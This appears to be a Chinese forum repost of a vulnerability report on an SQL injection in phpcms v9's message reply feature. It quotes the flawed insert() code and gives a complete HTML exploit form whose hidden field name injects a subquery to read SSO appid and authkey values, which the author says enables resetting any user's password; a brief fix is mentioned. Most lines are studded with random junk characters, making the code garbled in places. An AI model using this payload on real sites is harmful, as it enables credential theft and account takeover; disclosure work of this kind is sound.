|
|
简要描述:
" I. D5 R5 ~5 Y8 ?. c- B! Q8 q- _, D8 _
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。( A7 K' M! A" V4 s' m
$ M4 l( x, T0 {# }
明天再更新下一个漏洞。
; V9 q/ p ^( ^& l7 G详细说明:
; O6 }# ]3 Z( ]在/phpcms9/phpcms/modules/message/index.php中有代码如下:$ m% I6 G' L' f
# g- Z v1 K: c& Z' h8 |! q1 T
$messageid = $this->message_db->insert($_POST['info'],true);, |' z* B5 f( X# z% y
' l' S- U3 J" x/ ]* E+ |' Z( R, z9 Q( |% c$ G" p
insert方法是key value的,代码如下:
+ I5 v) j6 }) C d+ O/ f, ~) f9 r! G# l! P3 ~) l- T& x
public function insert($data, $table, $return_insert_id = false, $replace = false) {
, b% C8 d C! t: b" V0 u( s* d if(!is_array( $data ) || $table == '' || count($data) == 0) {
* \- \: c1 H0 P! a5 l$ b7 V return false;+ E$ r$ P; f! @; b2 Q
}
F9 O* n4 w$ R, v 2 |5 ~$ |: V) L; r
$fielddata = array_keys($data); v, h/ h$ A0 D) w/ d, V
$valuedata = array_values($data);
7 l) V# w& x6 P array_walk($fielddata, array($this, 'add_special_char'));" x8 C" H# B, Q" d) }
array_walk($valuedata, array($this, 'escape_string'));
0 r6 G I/ r" E
' N* j5 K4 u3 c3 z $field = implode (',', $fielddata);
- o) s6 U& n6 O3 m6 ?5 e- x9 |; L: f $value = implode (',', $valuedata);
7 r9 T0 D* J8 O2 T# x5 l
+ P# Y( ^: e' J3 q, Q: q* O" s $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';. o4 m: | j/ W M
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';* d# `5 @ I. N5 y* V; b
$return = $this->execute($sql);2 r& F2 a4 t9 l/ C
return $return_insert_id ? $this->insert_id() : $return;
+ Q9 L" s% r0 l1 N6 o }
. a" O( e& K- k) \. `. V5 {4 v' X6 g4 k" i& O
0 r; U! L/ L3 \
嗯,很遗憾的是- `+ z8 t4 o0 e
, U, t+ k& k: ]! l
array_walk($fielddata, array($this, 'add_special_char'));
# t6 F% M. r! E& a% g
5 Z8 T$ J C: q& P9 w, D
1 T: U: M. D" {6 h: U( |中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
- K0 O7 v- ]: u0 l2 d0 h# _8 r2 P7 p# b5 [
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
; }, L% B8 N2 A5 ]
# `3 z$ B' w3 K1 J8 @' K8 L& U- i漏洞证明:- C8 |0 t9 @' Y6 L. s d
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
, @5 J W' p. A# e3 _* e( W; I& u f) l2 K5 P
3 W* N! U# h% k+ T. G+ }6 I表单如下:用户名什么的得自己改一改。7 f' e9 h8 J/ U" i7 @' R
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
8 Z6 D+ ?8 ?5 w<table width="100%" cellspacing="0" class="table_form">
# I5 q) o7 ~0 z }0 {<tr>
3 L# b# V5 w' [0 y8 s5 W<th>标 题:</th>
( L3 }; S( u. B' [0 x) }+ R8 D<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
1 V% ^% ~( ]! N. z& e6 O% `7 F</tr> , t# W w: V& a/ c
<tr>% A+ G3 |1 u' O5 m
<th>内 容:</th>
: q: W# o5 e" F" e( ^7 y7 C3 G<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
5 H# q) E: R+ v7 \</tr>
: _$ N, T& T7 o3 P<input type="hidden" name="info[replyid]" value="2" />
0 @9 K: T" s6 t M W<input type="hidden" name="info[send_to_id]" value="cc" /> 6 x; ~* r/ @% `% m
<input type="hidden" name="info[send_from_id]" value="hh">
1 n D5 b, A$ j* S* }<!-- 漏洞的利用重点在这里开始 -->
. N+ W7 u( H$ G8 L* H! `<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
" r. U0 ]! f; y O, ?3 ~<!-- 漏洞的利用重点在这里结束 -->
) `" O" Z% E/ D& V% S# D5 w<tr>
# j, Z6 A$ X& y3 v' d<th>验证码:</th>
: @. I! o/ T# E* W/ ?2 a1 q<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>5 H. }- \( S% t: K' w0 c( l
</tr>
7 r: i( k+ g' {2 P5 e2 v$ k- J<tr>8 K- `. {9 H7 Q3 v
<td></td>
) }3 `2 s) o$ x! q<td colspan="2"><label># Q0 X7 V2 ^6 C" ^" v$ h9 K' a- R! b
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
: Z) W( I/ b# j/ |</label></td>
3 }4 x0 p: F7 Y L O6 A3 v</tr>
W; w7 l/ Q/ X3 }0 Q2 _</table>
) L& E* F$ O; O' }0 S) d</form>
+ X" j4 c% r# {5 e: P. k在add_special_char函数内对key做过滤就可以了。
4 o" p4 x' i' V* q* Y0 ]) E: v" ?# o6 A# E8 a" Y
6 |% u/ Z6 l0 M! P" _! \3 v
8 ~& P2 g+ Y1 y& P2 E% d, l |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|